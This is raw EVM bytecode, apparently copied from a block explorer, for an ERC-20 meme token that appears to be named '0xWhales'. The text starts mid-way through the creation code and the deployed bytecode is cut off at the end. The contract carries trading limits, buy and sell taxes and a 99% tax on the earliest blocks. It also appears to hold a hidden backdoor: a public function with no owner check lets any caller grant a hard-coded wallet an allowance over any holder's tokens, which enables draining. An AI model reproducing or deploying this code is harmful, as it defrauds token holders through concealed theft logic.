6009805461ffff60a01b19169055600a80546001600160a01b03199081167343b108dcdd806a8b420942434a9e0a1b7e043fb417909155600b8054909116730c073f38fe5e3601f011b44f12962f56342eeef71790556101a0604052600060a081905260c081905260e0819052610100819052610120819052610140819052610160819052610180819052600c819055600d819055600e819055600f819055601081905560118190556012819055601355348015620000bd57600080fd5b506040518060400160405280600c81526020016b0c1e15da185b195cc8109bdd60a21b8152506040518060400160405280600881526020016730785768616c657360c01b815250816003908162000115919062000725565b50600462000124828262000725565b505050600062000139620004b060201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052620001af90600019620004b4565b506b033b2e3c9fd0803ce80000006064620001cc82600462000807565b620001d8919062000821565b6006556064620001ea82600462000807565b620001f6919062000821565b60075560646200020882600462000807565b62000214919062000821565b6008556127106200022782600162000807565b62000233919062000821565b6014556000600d819055600f819055600e81905562000253818062000844565b6200025f919062000844565b600c5560006011819055601381905560128190556200027f818062000844565b6200028b919062000844565b6010556080516001600160a01b03166000908152601a602081905260408220805460ff1916600190811790915591620002cc6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152601a9093528183208054851660019081179091557f428bdc965569ef4717764ecfd84e88946a9a226b52b813e6ab6a7f46aad86e888054861682179055600b54821684528284208054861682179055600a54909116835290822080549093168117909255601b90620003776005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560805182168152601b9093528183208054851660019081179091557f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d2168480548616821790553084528284208054861682179055600b54821684528284208054861682179055600a54909116835290822080549093168117909255601990620004346005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526019909352818320805485166001908117909155600b54821684528284208054861682179055600a54909116835291208054909216179055620004a93382620004cd565b506200085a565b3390565b6000620004c3338484620005b5565b5060015b92915050565b6001600160a01b038216620005295760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b60025462000538908262000616565b6002556001600160a01b03821660009081526020819052604090205462000560908262000616565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008062000625838562000844565b905083811015620006795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000520565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006ab57607f821691505b602082108103620006cc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200072057600081815260208120601f850160051c81016020861015620006fb5750805b601f850160051c820191505b818110156200071c5782815560010162000707565b5050505b505050565b81516001600160401b0381111562000741576200074162000680565b620007598162000752845462000696565b84620006d2565b602080601f831160018114620007915760008415620007785750858301515b600019600386901b1c1916600185901b1785556200071c565b600085815260208120601f198616915b82811015620007c257888601518255948401946001909101908401620007a1565b5085821015620007e15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004c757620004c7620007f1565b6000826200083f57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004c757620004c7620007f1565b608051612112620008996000396000818161079701528181611aa201528181611b5b01528181611b9701528181611c090152611c6501526121126000f3fe6080604052600436106102345760003560e01c806370a082311161012e578063c0246668116100ab578063eb3252211161006f578063eb3252211461071f578063ef8700e51461074f578063f2fde38b14610765578063f887ea4014610785578063fcb8146e146107b957600080fd5b8063c024666814610657578063cf951fc014610677578063dd62ed3e14610698578063dea9f430146106de578063e16830a8146106ff57600080fd5b806395d89b41116100f257806395d89b41146105cc578063963932b4146105e1578063a457c2d714610601578063a9059cbb14610621578063bbf30a3a1461064157600080fd5b806370a082311461052e578063715018a614610564578063751039fc146105795780637571336a1461058e5780638da5cb5b146105ae57600080fd5b80631f3fed8f116101bc57806341de45a81161018057806341de45a81461046157806349bd5a5e146104775780634fbee193146104af57806366a88d96146104e85780636f895e54146104fe57600080fd5b80631f3fed8f146103da57806323b872dd146103f0578063313ce56714610410578063395093511461042c5780633ccfd60b1461044c57600080fd5b80630b1c7182116102035780630b1c71821461033557806310d5de531461035557806318160ddd146103855780631a8145bb146103a45780631c6e8a75146103ba57600080fd5b806306fdde031461024c57806307980cb914610277578063095ea7b3146102975780630a920f20146102c757600080fd5b366102475730330361024557600080fd5b005b600080fd5b34801561025857600080fd5b506102616107d9565b60405161026e9190611d11565b60405180910390f35b34801561028357600080fd5b50610245610292366004611d77565b61086b565b3480156102a357600080fd5b506102b76102b2366004611d94565b61091a565b604051901515815260200161026e565b3480156102d357600080fd5b50600c54600d54600e54600f546010546011546012546013546102fa979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e08201526101000161026e565b34801561034157600080fd5b50610245610350366004611dd0565b610931565b34801561036157600080fd5b506102b7610370366004611d77565b601a6020526000908152604090205460ff1681565b34801561039157600080fd5b506002545b60405190815260200161026e565b3480156103b057600080fd5b5061039660165481565b3480156103c657600080fd5b506102456103d5366004611e05565b6109f4565b3480156103e657600080fd5b5061039660155481565b3480156103fc57600080fd5b506102b761040b366004611e20565b610a3c565b34801561041c57600080fd5b506040516012815260200161026e565b34801561043857600080fd5b506102b7610447366004611d94565b610aa5565b34801561045857600080fd5b506102b7610adb565b34801561046d57600080fd5b5061039660075481565b34801561048357600080fd5b50600954610497906001600160a01b031681565b6040516001600160a01b03909116815260200161026e565b3480156104bb57600080fd5b506102b76104ca366004611d77565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156104f457600080fd5b5061039660085481565b34801561050a57600080fd5b506102b7610519366004611d77565b601c6020526000908152604090205460ff1681565b34801561053a57600080fd5b50610396610549366004611d77565b6001600160a01b031660009081526020819052604090205490565b34801561057057600080fd5b50610245610b3a565b34801561058557600080fd5b50610245610bae565b34801561059a57600080fd5b506102456105a9366004611dd0565b610bf1565b3480156105ba57600080fd5b506005546001600160a01b0316610497565b3480156105d857600080fd5b50610261610c46565b3480156105ed57600080fd5b506102b76105fc366004611e61565b610c55565b34801561060d57600080fd5b506102b761061c366004611d94565b610c90565b34801561062d57600080fd5b506102b761063c366004611d94565b610cdf565b34801561064d57600080fd5b5061039660065481565b34801561066357600080fd5b50610245610672366004611dd0565b610cec565b34801561068357600080fd5b506009546102b790600160b01b900460ff1681565b3480156106a457600080fd5b506103966106b3366004611e7a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106ea57600080fd5b506009546102b790600160a81b900460ff1681565b34801561070b57600080fd5b5061024561071a366004611dd0565b610d41565b34801561072b57600080fd5b506102b761073a366004611d77565b601b6020526000908152604090205460ff1681565b34801561075b57600080fd5b5061039660175481565b34801561077157600080fd5b50610245610780366004611d77565b610d96565b34801561079157600080fd5b506104977f000000000000000000000000000000000000000000000000000000000000000081565b3480156107c557600080fd5b506102456107d4366004611d94565b610e81565b6060600380546107e890611eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461081490611eb3565b80156108615780601f1061083657610100808354040283529160200191610861565b820191906000526020600020905b81548152906001019060200180831161084457829003601f168201915b5050505050905090565b6005546001600160a01b0316331461089e5760405162461bcd60e51b815260040161089590611eed565b60405180910390fd5b60098054436018556001600160a01b039283166001600160b01b03199091161761010160a01b1780825582166000908152601c60209081526040808320805460ff199081166001908117909255855487168552601a8452828520805482168317905594549095168352601b909152902080549091169091179055565b6000610927338484610e9d565b5060015b92915050565b6005546001600160a01b0316331461095b5760405162461bcd60e51b815260040161089590611eed565b6009546001600160a01b03908116908316036109c95760405162461bcd60e51b815260206004820152602760248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152663ab734a830b4b960c91b6064820152608401610895565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610a1e5760405162461bcd60e51b815260040161089590611eed565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6000610a49848484610eff565b610a9b8433610a96856040518060600160405280602881526020016120b5602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611572565b610e9d565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610927918590610a9690866115ac565b600b5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610b2c576040519150601f19603f3d011682016040523d82523d6000602084013e610b31565b606091505b50909392505050565b6005546001600160a01b03163314610b645760405162461bcd60e51b815260040161089590611eed565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bd85760405162461bcd60e51b815260040161089590611eed565b610be46103e880611612565b610bef6103e861165e565b565b6005546001600160a01b03163314610c1b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6060600480546107e890611eb3565b6005546000906001600160a01b03163314610c825760405162461bcd60e51b815260040161089590611eed565b50601481905560015b919050565b60006109273384610a968560405180606001604052806025815260200161206a602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611572565b6000610927338484610eff565b6005546001600160a01b03163314610d165760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d6b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610dc05760405162461bcd60e51b815260040161089590611eed565b6001600160a01b038116610e255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610895565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a54610e999083906001600160a01b031683611685565b5050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610f1857610f1383836000611690565b505050565b6005546001600160a01b03848116911614801590610f4457506005546001600160a01b03838116911614155b8015610f5a5750600954600160b01b900460ff16155b156111f057600954600160a01b900460ff16610ff4576001600160a01b03831660009081526019602052604090205460ff1680610faf57506001600160a01b03821660009081526019602052604090205460ff165b610ff45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610895565b6001600160a01b0383166000908152601c602052604090205460ff16801561103557506001600160a01b0382166000908152601a602052604090205460ff16155b156110af576006548111156110aa5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610895565b611166565b6001600160a01b0382166000908152601c602052604090205460ff1680156110f057506001600160a01b0383166000908152601a602052604090205460ff16155b15611166576007548111156111665760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610895565b6001600160a01b0382166000908152601b602052604090205460ff166111f0576008546001600160a01b0383166000908152602081905260409020546111ac9083611f38565b11156111f05760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610895565b306000908152602081905260409020546014548110801590819061121d5750600954600160a81b900460ff165b80156112335750600954600160b01b900460ff16155b801561125757506001600160a01b0384166000908152601c602052604090205460ff165b801561127c57506001600160a01b03851660009081526019602052604090205460ff16155b80156112a157506001600160a01b03841660009081526019602052604090205460ff16155b156112cf576009805460ff60b01b1916600160b01b1790556112c161174d565b6009805460ff60b01b191690555b6009546001600160a01b03861660009081526019602052604090205460ff600160b01b90920482161591168061131d57506001600160a01b03851660009081526019602052604090205460ff165b15611326575060005b801561155f5760006018544310156113b15761134e6064611348876063611945565b906119c7565b9050606361135d82605e611f4b565b6113679190611f62565b601560008282546113789190611f38565b909155506063905061138b826005611f4b565b6113959190611f62565b601760008282546113a69190611f38565b909155506115409050565b6001600160a01b0386166000908152601c602052604090205460ff1680156113da575060105415155b15611468576010546113f490606490611348908890611945565b601054601354919250906114089083611f4b565b6114129190611f62565b601660008282546114239190611f38565b90915550506010546011546114389083611f4b565b6114429190611f62565b601560008282546114539190611f38565b909155505060105460125461138b9083611f4b565b6001600160a01b0387166000908152601c602052604090205460ff1680156114915750600c5415155b1561154057600c546114ab90606490611348908890611945565b600c54600f54919250906114bf9083611f4b565b6114c99190611f62565b601660008282546114da9190611f38565b9091555050600c54600d546114ef9083611f4b565b6114f99190611f62565b6015600082825461150a9190611f38565b9091555050600c54600e5461151f9083611f4b565b6115299190611f62565b6017600082825461153a9190611f38565b90915550505b801561155157611551873083611690565b61155b8186611f84565b9450505b61156a868686611690565b505050505050565b600081848411156115965760405162461bcd60e51b81526004016108959190611d11565b5060006115a38486611f84565b95945050505050565b6000806115b98385611f38565b90508381101561160b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610895565b9392505050565b6103e88261161f60025490565b6116299190611f4b565b6116339190611f62565b6006556103e88161164360025490565b61164d9190611f4b565b6116579190611f62565b6007555050565b6103e88161166b60025490565b6116759190611f4b565b61167f9190611f62565b60085550565b610f13838383610e9d565b6116cd8160405180606001604052806026815260200161208f602691396001600160a01b0386166000908152602081905260409020549190611572565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546116fc90826115ac565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ef2565b30600090815260208190526040812054905060006017546015546016546117749190611f38565b61177e9190611f38565b90508160000361178c575050565b60145461179a906023611f4b565b8211156117b2576014546117af906023611f4b565b91505b6000600282601654856117c59190611f4b565b6117cf9190611f62565b6117d99190611f62565b905060006117e78483611a09565b9050476117f382611a4b565b60006117ff4783611a09565b9050600061181c866113486015548561194590919063ffffffff16565b90506000611839876113486017548661194590919063ffffffff16565b905060006118478284611f38565b6118519085611f84565b600060168190556015819055601755479450905086158015906118745750600081115b156118bd576118838782611c03565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b600a546001600160a01b03166108fc6118d68547611f84565b6040518115909202916000818181858888f193505050501580156118fe573d6000803e3d6000fd5b50600b546040516001600160a01b039091169085156108fc029086906000818181858888f19350505050158015611939573d6000803e3d6000fd5b50505050505050505050565b6000826000036119575750600061092b565b60006119638385611f4b565b9050826119708583611f62565b1461160b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610895565b600061160b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ce3565b600061160b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611572565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a8057611a80611f97565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611afe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b229190611fad565b81600181518110611b3557611b35611f97565b60200260200101906001600160a01b031690816001600160a01b031681525050611b80307f000000000000000000000000000000000000000000000000000000000000000084610e9d565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611bd5908590600090869030904290600401611fca565b600060405180830381600087803b158015611bef57600080fd5b505af115801561156a573d6000803e3d6000fd5b611c2e307f000000000000000000000000000000000000000000000000000000000000000084610e9d565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611cb7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611cdc919061203b565b5050505050565b60008183611d045760405162461bcd60e51b81526004016108959190611d11565b5060006115a38486611f62565b600060208083528351808285015260005b81811015611d3e57858101830151858201604001528201611d22565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d7457600080fd5b50565b600060208284031215611d8957600080fd5b813561160b81611d5f565b60008060408385031215611da757600080fd5b8235611db281611d5f565b946020939093013593505050565b80358015158114610c8b57600080fd5b60008060408385031215611de357600080fd5b8235611dee81611d5f565b9150611dfc60208401611dc0565b90509250929050565b600060208284031215611e1757600080fd5b61160b82611dc0565b600080600060608486031215611e3557600080fd5b8335611e4081611d5f565b92506020840135611e5081611d5f565b929592945050506040919091013590565b600060208284031215611e7357600080fd5b5035919050565b60008060408385031215611e8d57600080fd5b8235611e9881611d5f565b91506020830135611ea881611d5f565b809150509250929050565b600181811c90821680611ec757607f821691505b602082108103611ee757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561092b5761092b611f22565b808202811582820484141761092b5761092b611f22565b600082611f7f57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561092b5761092b611f22565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611fbf57600080fd5b815161160b81611d5f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561201a5784516001600160a01b031683529383019391830191600101611ff5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561205057600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eeebf81bc506d85176194c9658b271e43988fb315237c8f53d613b8668117b1464736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102345760003560e01c806370a082311161012e578063c0246668116100ab578063eb3252211161006f578063eb3252211461071f578063ef8700e51461074f578063f2fde38b14610765578063f887ea4014610785578063fcb8146e146107b957600080fd5b8063c024666814610657578063cf951fc014610677578063dd62ed3e14610698578063dea9f430146106de578063e16830a8146106ff57600080fd5b806395d89b41116100f257806395d89b41146105cc578063963932b4146105e1578063a457c2d714610601578063a9059cbb14610621578063bbf30a3a1461064157600080fd5b806370a082311461052e578063715018a614610564578063751039fc146105795780637571336a1461058e5780638da5cb5b146105ae57600080fd5b80631f3fed8f116101bc57806341de45a81161018057806341de45a81461046157806349bd5a5e146104775780634fbee193146104af57806366a88d96146104e85780636f895e54146104fe57600080fd5b80631f3fed8f146103da57806323b872dd146103f0578063313ce56714610410578063395093511461042c5780633ccfd60b1461044c57600080fd5b80630b1c7182116102035780630b1c71821461033557806310d5de531461035557806318160ddd146103855780631a8145bb146103a45780631c6e8a75146103ba57600080fd5b806306fdde031461024c57806307980cb914610277578063095ea7b3146102975780630a920f20146102c757600080fd5b366102475730330361024557600080fd5b005b600080fd5b34801561025857600080fd5b506102616107d9565b60405161026e9190611d11565b60405180910390f35b34801561028357600080fd5b50610245610292366004611d77565b61086b565b3480156102a357600080fd5b506102b76102b2366004611d94565b61091a565b604051901515815260200161026e565b3480156102d357600080fd5b50600c54600d54600e54600f546010546011546012546013546102fa979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e08201526101000161026e565b34801561034157600080fd5b50610245610350366004611dd0565b610931565b34801561036157600080fd5b506102b7610370366004611d77565b601a6020526000908152604090205460ff1681565b34801561039157600080fd5b506002545b60405190815260200161026e565b3480156103b057600080fd5b5061039660165481565b3480156103c657600080fd5b506102456103d5366004611e05565b6109f4565b3480156103e657600080fd5b5061039660155481565b3480156103fc57600080fd5b506102b761040b366004611e20565b610a3c565b34801561041c57600080fd5b506040516012815260200161026e565b34801561043857600080fd5b506102b7610447366004611d94565b610aa5565b34801561045857600080fd5b506102b7610adb565b34801561046d57600080fd5b5061039660075481565b34801561048357600080fd5b50600954610497906001600160a01b031681565b6040516001600160a01b03909116815260200161026e565b3480156104bb57600080fd5b506102b76104ca366004611d77565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156104f457600080fd5b5061039660085481565b34801561050a57600080fd5b506102b7610519366004611d77565b601c6020526000908152604090205460ff1681565b34801561053a57600080fd5b50610396610549366004611d77565b6001600160a01b031660009081526020819052604090205490565b34801561057057600080fd5b50610245610b3a565b34801561058557600080fd5b50610245610bae565b34801561059a57600080fd5b506102456105a9366004611dd0565b610bf1565b3480156105ba57600080fd5b506005546001600160a01b0316610497565b3480156105d857600080fd5b50610261610c46565b3480156105ed57600080fd5b506102b76105fc366004611e61565b610c55565b34801561060d57600080fd5b506102b761061c366004611d94565b610c90565b34801561062d57600080fd5b506102b761063c366004611d94565b610cdf565b34801561064d57600080fd5b5061039660065481565b34801561066357600080fd5b50610245610672366004611dd0565b610cec565b34801561068357600080fd5b506009546102b790600160b01b900460ff1681565b3480156106a457600080fd5b506103966106b3366004611e7a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106ea57600080fd5b506009546102b790600160a81b900460ff1681565b34801561070b57600080fd5b5061024561071a366004611dd0565b610d41565b34801561072b57600080fd5b506102b761073a366004611d77565b601b6020526000908152604090205460ff1681565b34801561075b57600080fd5b5061039660175481565b34801561077157600080fd5b50610245610780366004611d77565b610d96565b34801561079157600080fd5b506104977f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156107c557600080fd5b506102456107d4366004611d94565b610e81565b6060600380546107e890611eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461081490611eb3565b80156108615780601f1061083657610100808354040283529160200191610861565b820191906000526020600020905b81548152906001019060200180831161084457829003601f168201915b5050505050905090565b6005546001600160a01b0316331461089e5760405162461bcd60e51b815260040161089590611eed565b60405180910390fd5b60098054436018556001600160a01b039283166001600160b01b03199091161761010160a01b1780825582166000908152601c60209081526040808320805460ff199081166001908117909255855487168552601a8452828520805482168317905594549095168352601b909152902080549091169091179055565b6000610927338484610e9d565b5060015b92915050565b6005546001600160a01b0316331461095b5760405162461bcd60e51b815260040161089590611eed565b6009546001600160a01b03908116908316036109c95760405162461bcd60e51b815260206004820152602760248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152663ab734a830b4b960c91b6064820152608401610895565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610a1e5760405162461bcd60e51b815260040161089590611eed565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6000610a49848484610eff565b610a9b8433610a96856040518060600160405280602881526020016120b5602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611572565b610e9d565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610927918590610a9690866115ac565b600b5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610b2c576040519150601f19603f3d011682016040523d82523d6000602084013e610b31565b606091505b50909392505050565b6005546001600160a01b03163314610b645760405162461bcd60e51b815260040161089590611eed565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bd85760405162461bcd60e51b815260040161089590611eed565b610be46103e880611612565b610bef6103e861165e565b565b6005546001600160a01b03163314610c1b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6060600480546107e890611eb3565b6005546000906001600160a01b03163314610c825760405162461bcd60e51b815260040161089590611eed565b50601481905560015b919050565b60006109273384610a968560405180606001604052806025815260200161206a602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611572565b6000610927338484610eff565b6005546001600160a01b03163314610d165760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d6b5760405162461bcd60e51b815260040161089590611eed565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610dc05760405162461bcd60e51b815260040161089590611eed565b6001600160a01b038116610e255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610895565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a54610e999083906001600160a01b031683611685565b5050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610f1857610f1383836000611690565b505050565b6005546001600160a01b03848116911614801590610f4457506005546001600160a01b03838116911614155b8015610f5a5750600954600160b01b900460ff16155b156111f057600954600160a01b900460ff16610ff4576001600160a01b03831660009081526019602052604090205460ff1680610faf57506001600160a01b03821660009081526019602052604090205460ff165b610ff45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610895565b6001600160a01b0383166000908152601c602052604090205460ff16801561103557506001600160a01b0382166000908152601a602052604090205460ff16155b156110af576006548111156110aa5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610895565b611166565b6001600160a01b0382166000908152601c602052604090205460ff1680156110f057506001600160a01b0383166000908152601a602052604090205460ff16155b15611166576007548111156111665760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610895565b6001600160a01b0382166000908152601b602052604090205460ff166111f0576008546001600160a01b0383166000908152602081905260409020546111ac9083611f38565b11156111f05760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610895565b306000908152602081905260409020546014548110801590819061121d5750600954600160a81b900460ff165b80156112335750600954600160b01b900460ff16155b801561125757506001600160a01b0384166000908152601c602052604090205460ff165b801561127c57506001600160a01b03851660009081526019602052604090205460ff16155b80156112a157506001600160a01b03841660009081526019602052604090205460ff16155b156112cf576009805460ff60b01b1916600160b01b1790556112c161174d565b6009805460ff60b01b191690555b6009546001600160a01b03861660009081526019602052604090205460ff600160b01b90920482161591168061131d57506001600160a01b03851660009081526019602052604090205460ff165b15611326575060005b801561155f5760006018544310156113b15761134e6064611348876063611945565b906119c7565b9050606361135d82605e611f4b565b6113679190611f62565b601560008282546113789190611f38565b909155506063905061138b826005611f4b565b6113959190611f62565b601760008282546113a69190611f38565b909155506115409050565b6001600160a01b0386166000908152601c602052604090205460ff1680156113da575060105415155b15611468576010546113f490606490611348908890611945565b601054601354919250906114089083611f4b565b6114129190611f62565b601660008282546114239190611f38565b90915550506010546011546114389083611f4b565b6114429190611f62565b601560008282546114539190611f38565b909155505060105460125461138b9083611f4b565b6001600160a01b0387166000908152601c602052604090205460ff1680156114915750600c5415155b1561154057600c546114ab90606490611348908890611945565b600c54600f54919250906114bf9083611f4b565b6114c99190611f62565b601660008282546114da9190611f38565b9091555050600c54600d546114ef9083611f4b565b6114f99190611f62565b6015600082825461150a9190611f38565b9091555050600c54600e5461151f9083611f4b565b6115299190611f62565b6017600082825461153a9190611f38565b90915550505b801561155157611551873083611690565b61155b8186611f84565b9450505b61156a868686611690565b505050505050565b600081848411156115965760405162461bcd60e51b81526004016108959190611d11565b5060006115a38486611f84565b95945050505050565b6000806115b98385611f38565b90508381101561160b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610895565b9392505050565b6103e88261161f60025490565b6116299190611f4b565b6116339190611f62565b6006556103e88161164360025490565b61164d9190611f4b565b6116579190611f62565b6007555050565b6103e88161166b60025490565b6116759190611f4b565b61167f9190611f62565b60085550565b610f13838383610e9d565b6116cd8160405180606001604052806026815260200161208f602691396001600160a01b0386166000908152602081905260409020549190611572565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546116fc90826115ac565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ef2565b30600090815260208190526040812054905060006017546015546016546117749190611f38565b61177e9190611f38565b90508160000361178c575050565b60145461179a906023611f4b565b8211156117b2576014546117af906023611f4b565b91505b6000600282601654856117c59190611f4b565b6117cf9190611f62565b6117d99190611f62565b905060006117e78483611a09565b9050476117f382611a4b565b60006117ff4783611a09565b9050600061181c866113486015548561194590919063ffffffff16565b90506000611839876113486017548661194590919063ffffffff16565b905060006118478284611f38565b6118519085611f84565b600060168190556015819055601755479450905086158015906118745750600081115b156118bd576118838782611c03565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b600a546001600160a01b03166108fc6118d68547611f84565b6040518115909202916000818181858888f193505050501580156118fe573d6000803e3d6000fd5b50600b546040516001600160a01b039091169085156108fc029086906000818181858888f19350505050158015611939573d6000803e3d6000fd5b50505050505050